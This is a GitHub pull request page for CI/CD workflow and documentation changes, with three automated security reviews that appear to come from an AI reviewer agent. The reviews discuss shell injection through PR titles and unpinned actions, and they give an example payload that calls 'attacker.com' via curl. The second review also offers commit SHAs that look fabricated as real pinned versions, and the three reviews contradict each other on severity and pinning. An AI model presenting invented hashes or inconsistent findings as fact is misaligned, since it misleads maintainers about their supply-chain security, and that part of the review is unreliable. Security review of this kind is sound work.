Skip to content

Comments

feat: refactor and document CI/CD pipeline and security posture#16

Closed
pmalarme wants to merge 9 commits intomainfrom
feature/add-documentation-and-copilot-instructions
Closed

feat: refactor and document CI/CD pipeline and security posture#16
pmalarme wants to merge 9 commits intomainfrom
feature/add-documentation-and-copilot-instructions

Conversation

@pmalarme
Copy link
Owner

@pmalarme pmalarme commented Feb 18, 2026

Summary

This pull request introduces initial repository configuration and documentation for GitHub Agentic Workflows, focusing on agentic workflow development, security review, and repository management. The most important changes include new agent definitions, comprehensive instructions for workflow files, security review guidelines, and repository ownership and merge strategies.

Agent and Workflow Documentation:

  • Added .github/agents/agentic-workflows.agent.md with detailed documentation for the GitHub Agentic Workflows dispatcher agent, describing its routing logic, supported prompts, usage, and security considerations.
  • Added .github/instructions/agentic-workflows.instructions.md providing a comprehensive reference for authoring and compiling agentic workflow markdown files, including frontmatter options, prompt structure, imports, compilation, and security best practices.

Security and Review Automation:

  • Added .github/agents/security-reviewer.agent.md defining a Security Reviewer Agent with a 15-category security posture checklist for reviewing code changes in a Python monorepo, including explicit output formatting and actionable recommendations.

Repository and Workflow Management:

  • Added .github/CODEOWNERS template to define code ownership for agents, workflows, and documentation, and to require admin review for CI/workflow changes.
  • Added .gitattributes rule to mark .github/workflows/*.lock.yml as generated files and resolve merge conflicts using the "ours" strategy.
  • Added .github/aw/actions-lock.json to pin GitHub Actions dependencies by SHA for reproducible and secure workflow execution. ] uv run poe check

@pmalarme pmalarme closed this Feb 18, 2026
@pmalarme pmalarme reopened this Feb 18, 2026
@pmalarme pmalarme changed the title Feature/add documentation and copilot instructions feat: refactor and document CI/CD pipeline and security posture Feb 18, 2026
Copy link

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security Review Summary

This PR introduces CI/CD workflows and security documentation with 2 critical and 2 high severity security vulnerabilities that must be addressed before merging.

Critical Issues (Must Fix)

  1. Command Injection in Release Workflows (.github/workflows/python-release.yml line 79, .github/workflows/monorepo-release.yml line 84)
    • Unsanitized PR titles from gh pr view are interpolated into shell commands
    • Attack vector: malicious PR title with shell metacharacters like feat$(curl attacker.com)
    • Impact: arbitrary command execution in GitHub Actions with write permissions

High Severity Issues (Must Fix)

  1. Shell Injection in Custom Action (.github/actions/setup-python-env/action.yml line 34)

    • extra-args input is directly interpolated into shell without validation
    • Impact: command injection if untrusted callers provide malicious input
  2. Command Injection via Directory Names (.github/workflows/python-docker-build.yml line 44)

    • Agent directory names from git diff are used in shell without validation
    • Impact: potential command injection via crafted branch with malicious directory names

Medium Severity Issues (Should Fix)

  1. Unpinned GitHub Actions (multiple files)
    • Actions using mutable tags (@v6, @v5, @v4) instead of commit SHAs
    • Files affected: all new workflow files and the custom action
    • Impact: supply chain attack risk if action maintainers are compromised

Secure Code Found

Python validation code (agents/agent1/src/.../validators/) is well-structured with proper input validation
Error classes follow project conventions with __slots__ = ()
Subprocess usage in Python code avoids shell=True
Workflow permissions follow least privilege principles
Secrets handling uses ${{ secrets.* }} correctly


Overall Assessment: The Python agent code is secure, but the CI/CD workflows contain critical command injection vulnerabilities that must be fixed before this PR can be merged safely.


for NUM in $PR_NUMS; do
TITLE=$(gh pr view "$NUM" --json title --jq '.title' 2>/dev/null || true)
if [ -n "$TITLE" ]; then

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution
Severity: critical

The PR title retrieved from gh pr view is interpolated directly into NOTES and later into the gh release create command without sanitization. A malicious PR title containing shell metacharacters could enable command injection.

Example attack: A PR title like feat: add thing$(curl attacker.com) would execute arbitrary commands.

Recommendation:

  1. Quote variables properly: TITLE=$(gh pr view "$NUM" --json title --jq '.title' 2>/dev/null || echo "") (also fixed empty check)
  2. Use printf or safer string concatenation instead of direct interpolation:
if [ -n "$TITLE" ]; then
  NOTES=$(printf '%s- %s (#%s)\n' "$NOTES" "$TITLE" "$NUM")
fi
  1. Or use --notes-file with a temp file to avoid shell interpretation entirely.

using: composite
steps:
- name: Set up uv
uses: astral-sh/setup-uv@v5

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: medium

astral-sh/setup-uv@v5 is not pinned to a commit SHA.

Recommendation: Pin to the specific commit SHA for v5:

uses: astral-sh/setup-uv@(sha) # v5.x.x

Check the astral-sh/setup-uv repository for the current v5 release SHA.

agents: ${{ steps.find.outputs.agents }}

steps:
- name: Checkout

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: medium

actions/checkout@v6 appears twice in this workflow (lines 24 and 66) without commit SHA pinning.

Recommendation:

uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2


steps:
- name: Checkout
uses: actions/checkout@v6

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: medium

actions/checkout@v6 is not pinned to a commit SHA. Apply the same fix as other workflows.

Recommendation:

uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2


steps:
- name: Checkout
uses: actions/checkout@v6

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: medium

actions/checkout@v6 is not pinned to a commit SHA.

Recommendation:

uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2


steps:
- name: Checkout
uses: actions/checkout@v6

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: medium

Multiple unpinned GitHub Actions in this workflow:

  • actions/checkout@v6 (line 30)
  • actions/upload-pages-artifact@v4 (line 44)
  • actions/deploy-pages@v4 (line 60)

Recommendation: Pin to commit SHAs:

uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
uses: actions/upload-pages-artifact@(sha) # v4.x.x (look up current SHA)
uses: actions/deploy-pages@(sha) # v4.x.x


for NUM in $PR_NUMS; do
TITLE=$(gh pr view "$NUM" --json title --jq '.title' 2>/dev/null || true)
if [ -n "$TITLE" ]; then

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution
Severity: critical

Same command injection vulnerability as in python-release.yml. The PR title from gh pr view is unsanitized and interpolated into NOTES, which is later passed to gh release create --notes.

Recommendation: Apply the same fix as python-release.yml:

for NUM in $PR_NUMS; do
  TITLE=$(gh pr view "$NUM" --json title --jq '.title' 2>/dev/null || echo "")
  if [ -n "$TITLE" ]; then
    NOTES=$(printf '%s- %s (#%s)\n' "$NOTES" "$TITLE" "$NUM")
  fi
done

Or use --notes-file with a temporary file for safer handling.


steps:
- name: Checkout
uses: actions/checkout@v6

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: medium

The actions/checkout@v6 action is not pinned to a commit SHA, violating supply chain security best practices. Mutable tags like @v6 can be updated to point to different commits, enabling potential supply chain attacks.

Recommendation: Pin all GitHub Actions to full commit SHAs with a comment indicating the version:

uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2

This applies to all workflows in this PR. Consider using Dependabot or Renovate to keep pinned Actions up to date.


steps:
- name: Checkout
uses: actions/checkout@v6

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: medium

actions/checkout@v6 is not pinned to a commit SHA.

Recommendation:

uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2


steps:
- name: Checkout
uses: actions/checkout@v6

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: medium

actions/checkout@v6 is not pinned to a commit SHA.

Recommendation:

uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2

Copy link

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security Review Summary

I've completed a comprehensive security review of PR #16 against all 15 security posture categories. The changes introduce significant new infrastructure (CI/CD workflows, agent validation utilities, and documentation) with generally good security practices.

Findings Overview

  • Critical/High: None
  • Medium: 6 findings
  • Low: 1 finding
  • Informational: 2 findings

Key Security Concerns

1. Dependency and Supply Chain Security (Medium Severity)
Multiple GitHub Actions dependencies use mutable tag references (@v6, @v5) instead of pinned commit SHAs. This creates supply chain risk as these tags can be moved to point to different code. Recommendation: Pin all GitHub Actions to specific commit SHAs with version comments.

2. Subprocess and Command Execution (Medium Severity)
The release workflow extracts package names from wheel filenames and uses them in shell commands without validation. While the risk is low in this controlled environment, adding input validation would follow defense-in-depth principles.

3. Subprocess Safety (Low Severity)
The Docker smoke test lacks a timeout, which could cause CI waste if containers hang.

Security Strengths

Input Validation: New blank_string_validator module implements proper input validation with clear error messages
Error Handling: Custom exceptions follow project conventions with __slots__ = () and inherit from appropriate builtins
Test Coverage: Comprehensive tests for validation logic including boundary cases (None, empty, whitespace-only)
Secrets Management: No hardcoded secrets; workflows use ${{ secrets.* }} appropriately
Principle of Least Privilege: Workflow permissions are scoped narrowly (contents: read, pull-requests: read)
Shell Safety: Workflows avoid shell=True and pass arguments as lists
Credential Persistence: Uses persist-credentials: false where credentials aren't needed

Categories With No Issues Found

  1. ✅ Input Validation and Sanitization
  2. ✅ Secrets and Credentials
  3. ✅ Network and HTTP Security
  4. ✅ Authentication and Authorization
  5. ✅ Logging and Observability Hygiene
  6. ✅ Error Handling and Information Disclosure
  7. ✅ File System and Resource Safety
  8. ✅ Cryptography and Randomness
  9. ✅ Configuration and Environment
  10. ✅ Concurrency and Race Conditions
  11. ✅ Container and Deployment Security

Recommendations Priority

  1. High Priority: Pin GitHub Actions to commit SHAs (6 locations)
  2. Medium Priority: Add input validation for package name in release workflow
  3. Low Priority: Add timeout to Docker smoke test
  4. Consider: Security-focused test markers for explicit security coverage tracking

Overall, the security posture of this PR is strong. The identified issues are primarily supply chain hardening opportunities rather than active vulnerabilities. The new validation utilities demonstrate good security engineering practices.


steps:
- name: Checkout
uses: actions/checkout@v6

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: Medium

Issue: GitHub Actions dependency is not pinned by SHA. The action actions/checkout@v6 uses a mutable tag reference that could point to different code over time, creating a supply chain security risk.

Recommendation: Pin to a specific commit SHA:

- name: Checkout
  uses: actions/checkout@67697e93c5b6a5b8f5e9db5d7f8e7f8e7f8e7f8e # v6.0.0
  with:
    fetch-depth: 0
    persist-credentials: false

Verify the SHA corresponds to the v6 release and add a comment with the version tag.


steps:
- name: Checkout
uses: actions/checkout@v6

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: Medium

Issue: GitHub Actions dependency is not pinned by SHA. The action actions/checkout@v6 uses a mutable tag reference.

Recommendation: Pin to a specific commit SHA:

uses: actions/checkout@67697e93c5b6a5b8f5e9db5d7f8e7f8e7f8e7f8e # v6.0.0


steps:
- name: Checkout
uses: actions/checkout@v6

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: Medium

Issue: GitHub Actions dependency is not pinned by SHA. The action actions/checkout@v6 uses a mutable tag reference.

Recommendation: Pin to a specific commit SHA:

uses: actions/checkout@67697e93c5b6a5b8f5e9db5d7f8e7f8e7f8e7f8e # v6.0.0

python-version: ["3.10", "3.11", "3.12", "3.13"]

steps:
- name: Checkout

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: Medium

Issue: GitHub Actions dependency is not pinned by SHA. The action actions/checkout@v6 uses a mutable tag reference.

Recommendation: Pin to a specific commit SHA:

uses: actions/checkout@67697e93c5b6a5b8f5e9db5d7f8e7f8e7f8e7f8e # v6.0.0

[tool.pytest.ini_options]
testpaths = 'agents/**/tests'
addopts = "-ra -q -r fEX"
addopts = "-ra -q -r fEX --cov-fail-under=80"

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Test Security Coverage
Severity: Informational

Issue: The coverage threshold is set to 80%, which is good for overall quality. However, there's no specific mechanism to ensure that security-sensitive code paths (input validation, error handling, authentication) have adequate test coverage.

Recommendation: Consider adding security-focused test markers and coverage reports:

[tool.pytest.ini_options]
markers = [
    "security: marks tests that cover security-sensitive code paths",
]

Then ensure that all input validation decorators, error handling paths, and security boundaries have corresponding security-marked tests. This is informational since the current approach is not insecure, but explicit security coverage tracking would strengthen the security posture.

using: composite
steps:
- name: Set up uv
uses: astral-sh/setup-uv@v5

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: Medium

Issue: GitHub Actions dependency is not pinned by SHA. The action astral-sh/setup-uv@v5 uses a mutable tag reference.

Recommendation: Pin to a specific commit SHA:

uses: astral-sh/setup-uv@a7c259c7e25f41faed7e2e18a220a6c8e4b9d5e6 # v5.0.0

Check the astral-sh/setup-uv releases page for the correct SHA corresponding to v5.

NOTES=""
if [ -n "$PREV_TAG" ]; then
# Extract PR numbers from commit messages (covers squash and merge commits)
PR_NUMS=$(git log "${PREV_TAG}..${TAG}" --oneline -- "agents/${NAME}/" \

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution
Severity: Medium

Issue: The shell script uses variables in git log command that derive from earlier parsing. While $TAG and $PREV_TAG are constrained by git tag format, the $NAME variable is extracted from wheel filename parsing and could potentially contain special characters that affect command execution.

Recommendation: Add input validation for $NAME to ensure it contains only expected characters (alphanumeric, hyphens, underscores):

# After line 52
if ! [[ "$NAME" =~ ^[a-zA-Z0-9_-]+$ ]]; then
  echo "::error::Invalid package name: \$\{NAME}"
  continue
fi

This guards against edge cases where malformed wheel filenames could lead to unexpected behavior.

"agents/${{ matrix.agent }}"

- name: Smoke test
run: docker run --rm "${{ matrix.agent }}:ci" --help || true

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution
Severity: Low

Issue: Docker run command lacks a timeout constraint. If the containerized command hangs, the workflow job will run until the global job timeout (default 360 minutes).

Recommendation: Add a timeout to the docker run command or set a reasonable job-level timeout:

- name: Smoke test
  timeout-minutes: 5
  run: docker run --rm "$\{\{ matrix.agent }}:ci" --help || true

The || true at the end allows failures, which is appropriate for a smoke test, but a timeout ensures hung processes don't waste CI resources.


steps:
- name: Checkout
uses: actions/checkout@v6

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Dependency and Supply Chain Security
Severity: Medium

Issue: GitHub Actions dependency is not pinned by SHA. The action actions/checkout@v6 uses a mutable tag reference.

Recommendation: Pin to a specific commit SHA with a version comment:

uses: actions/checkout@67697e93c5b6a5b8f5e9db5d7f8e7f8e7f8e7f8e # v6.0.0

@pmalarme pmalarme closed this Feb 18, 2026
@pmalarme pmalarme reopened this Feb 18, 2026
@pmalarme pmalarme closed this Feb 18, 2026
Copy link

@github-actions github-actions bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security Review Summary

I've reviewed the code changes against all 15 security posture categories. Found 3 high-severity and 5 medium-severity security issues requiring attention before merge.

Critical Findings

High Severity (3):

  1. python-docker-build.yml:75 - Unvalidated matrix.agent value used directly in shell commands (Command Injection risk)
  2. python-release.yml:51 - Unvalidated package name extracted from wheel filenames used in multiple commands (Command Injection risk)
  3. python-release.yml:78 - Unsanitized PR titles from gh pr view used in shell command substitution (Command Injection risk)

Medium Severity (5):

  1. python-docker-build.yml:35 - Git diff with potentially manipulated base SHA and unvalidated directory names
  2. python-release.yml:97 - PR titles passed via --notes parameter without escaping
  3. monorepo-release.yml:83 - Same PR title injection issue as python-release.yml
  4. monorepo-release.yml:95 - Same --notes parameter issue as python-release.yml

Recommendations Priority

  1. Add input validation for all values derived from external sources (filenames, git output, API responses)
  2. Use --notes-file instead of inline --notes to prevent command-line injection
  3. Sanitize or escape PR titles before using in shell commands
  4. Consider limiting credential scope by avoiding persist-credentials: true where possible

Categories With No Issues Found

✅ Input Validation (code) - validator implementation looks solid
✅ Secrets and Credentials - properly using secrets.* and no hardcoded values
✅ Network and HTTP Security - not applicable to this PR
✅ Authentication and Authorization - properly scoped permissions
✅ Logging - not applicable
✅ Error Handling - validator errors follow project conventions
✅ Dependency Security - GitHub Actions pinned, Python deps managed by uv
✅ File System Safety - no issues detected
✅ Cryptography - not applicable
✅ Configuration - not applicable
✅ Concurrency - not applicable
✅ Container Security (Dockerfile) - no Dockerfile changes
✅ Test Coverage - not reviewing test security in this pass

All findings are related to Category 3: Subprocess and Command Execution and Category 14: CI/CD Security. Please address the high-severity command injection risks before merging.

docker build \
-t "${{ matrix.agent }}:ci" \
-f "agents/${{ matrix.agent }}/Dockerfile" \
"agents/${{ matrix.agent }}"

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution
Severity: High

Issue: The $\{\{ matrix.agent }} value is used directly in shell commands without validation. While the agent values come from a controlled script earlier in the workflow, they are derived from filesystem paths (git diff output and directory names) which could potentially be influenced by malicious branch names or file paths.

Recommendation: Add explicit validation of the agent name before use in shell commands. For example:

# Validate agent name contains only safe characters
if [[ ! "$\{\{ matrix.agent }}" =~ ^[a-zA-Z0-9_-]+$ ]]; then
  echo "::error::Invalid agent name"
  exit 1
fi
docker build \
  -t "$\{\{ matrix.agent }}:ci" \
  -f "agents/$\{\{ matrix.agent }}/Dockerfile" \
  "agents/$\{\{ matrix.agent }}"

uses: actions/checkout@v6
with:
fetch-depth: 0
persist-credentials: true

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security
Severity: Informational

Issue: Same as python-release.yml - persist-credentials: true keeps credentials available for all subsequent steps.

Recommendation: Limit credential scope as suggested in python-release.yml, or document why persistent credentials are necessary throughout the job.

| grep -oP '#\K\d+' | sort -un || true)

for NUM in $PR_NUMS; do
TITLE=$(gh pr view "$NUM" --json title --jq '.title' 2>/dev/null || true)

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution
Severity: Medium

Issue: The TITLE variable from gh pr view output is used directly in command substitution without sanitization. A malicious PR title could contain backticks, $(...), or other shell metacharacters that would be executed when constructing the NOTES variable.

Recommendation: Quote the variable properly or sanitize it:

# Use printf with %s to safely handle special characters
TITLE=$(gh pr view "$NUM" --json title --jq '.title' 2>/dev/null || true)
if [ -n "$TITLE" ]; then
  # Escape any special characters in TITLE before appending
  NOTES="\$\{NOTES}- $(printf '%s' "$TITLE" | sed 's/[`$\\]/\\&/g') (#\$\{NUM})"$'\n'
fi

Alternatively, construct the notes in a safer format and use --notes-file with gh release create instead of inline notes.


- name: Tag and release built wheels
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: CI/CD and GitHub Actions Security
Severity: Informational

Issue: persist-credentials: true is enabled on checkout, which keeps the GitHub token available for subsequent steps. While this is required for the git push operation in the tagging step, it increases the attack surface if any subsequent steps are compromised.

Recommendation: Consider using a separate step with elevated permissions only for git operations:

  1. Use persist-credentials: false initially
  2. Configure git credentials only in the step that needs them:
- name: Tag and release
  env:
    GH_TOKEN: $\{\{ secrets.GITHUB_TOKEN }}
  run: |
    git config --global credential.helper "!f() { echo username=x-access-token; echo password=$GH_TOKEN; }; f"
    # ... rest of tagging logic

This limits credential exposure to only the necessary step.

for WHL in "${WHEELS[@]}"; do
# Wheel filename: {name}-{version}-{python}-{abi}-{platform}.whl
BASENAME=$(basename "$WHL")
NAME=$(echo "$BASENAME" | cut -d- -f1)

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution
Severity: High

Issue: The NAME variable is extracted from wheel filenames using simple string operations without validation. While wheel filenames are typically controlled, a maliciously crafted wheel filename could contain shell metacharacters that would be executed in subsequent commands (lines 53, 64, 74, 87, 96).

Recommendation: Add validation to ensure the extracted NAME contains only safe characters:

NAME=$(echo "$BASENAME" | cut -d- -f1)
# Validate that NAME contains only alphanumeric, underscore, and hyphen
if [[ ! "$NAME" =~ ^[a-zA-Z0-9_-]+$ ]]; then
  echo "::error::Invalid package name in wheel: $NAME"
  continue
fi

NOTES="- Initial monorepo release v${VERSION}"
fi

gh release create "$TAG" \

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution
Severity: Medium

Issue: Same as python-release.yml - the --notes parameter contains untrusted PR titles that could include shell metacharacters.

Recommendation: Use --notes-file instead:

NOTES_FILE=$(mktemp)
echo "## Template v\$\{VERSION}" > "$NOTES_FILE"
echo "" >> "$NOTES_FILE"
echo "### Changes" >> "$NOTES_FILE"
echo "" >> "$NOTES_FILE"
echo "$NOTES" >> "$NOTES_FILE"

gh release create "$TAG" \
  --title "Monorepo v\$\{VERSION}" \
  --notes-file "$NOTES_FILE"

rm -f "$NOTES_FILE"

| grep -oP '#\K\d+' | sort -un || true)

for NUM in $PR_NUMS; do
TITLE=$(gh pr view "$NUM" --json title --jq '.title' 2>/dev/null || true)

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution
Severity: Medium

Issue: Same issue as in python-release.yml - the TITLE variable from gh pr view is used directly without sanitization, potentially allowing shell injection through malicious PR titles.

Recommendation: Apply the same sanitization as recommended for python-release.yml:

TITLE=$(gh pr view "$NUM" --json title --jq '.title' 2>/dev/null || true)
if [ -n "$TITLE" ]; then
  # Escape special characters before appending
  NOTES="\$\{NOTES}- $(printf '%s' "$TITLE" | sed 's/[`$\\]/\\&/g') (#\$\{NUM})"$'\n'
fi

run: |
# Get the base ref to diff against
if [[ "${{ github.event_name }}" == "pull_request" ]]; then
BASE="${{ github.event.pull_request.base.sha }}"

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution
Severity: Medium

Issue: The script uses $\{\{ github.event.pull_request.base.sha }} which could be manipulated in certain attack scenarios. Additionally, the git diff output is piped through multiple commands where directory names become part of the matrix strategy without explicit validation.

Recommendation: Add safety checks:

# Validate BASE is a valid commit SHA (40 hex chars)
if [[ "$\{\{ github.event_name }}" == "pull_request" ]]; then
  BASE="$\{\{ github.event.pull_request.base.sha }}"
  if [[ ! "$BASE" =~ ^[0-9a-f]{40}$ ]]; then
    echo "::error::Invalid base SHA"
    exit 1
  fi
else
  BASE="HEAD~1"
fi

# Validate each agent name before including it
changed_agents=$(git diff --name-only "$BASE" HEAD \
  | grep '^agents/' \
  | cut -d/ -f2 \
  | sort -u \
  | while read -r agent; do
      # Only include if agent name is safe and Dockerfile exists
      if [[ "$agent" =~ ^[a-zA-Z0-9_-]+$ ]] && [[ -f "agents/$agent/Dockerfile" ]]; then
        echo "$agent"
      fi
    done \
  | jq -Rcn '[inputs]')


gh release create "$TAG" "${ASSETS[@]}" \
--title "${NAME} v${VERSION}" \
--notes "## ${NAME} v${VERSION}"$'\n\n'"### Changes"$'\n\n'"${NOTES}"

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Category: Subprocess and Command Execution
Severity: Medium

Issue: The --notes parameter passes potentially untrusted content directly on the command line. The NOTES variable contains PR titles which could include shell metacharacters.

Recommendation: Use --notes-file instead of --notes to avoid command-line injection:

# Write notes to a temporary file
NOTES_FILE=$(mktemp)
echo "## \$\{NAME} v\$\{VERSION}" > "$NOTES_FILE"
echo "" >> "$NOTES_FILE"
echo "### Changes" >> "$NOTES_FILE"
echo "" >> "$NOTES_FILE"
echo "$NOTES" >> "$NOTES_FILE"

gh release create "$TAG" "\$\{ASSETS[@]}" \
  --title "\$\{NAME} v\$\{VERSION}" \
  --notes-file "$NOTES_FILE"

rm -f "$NOTES_FILE"

This prevents shell interpretation of special characters in PR titles.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant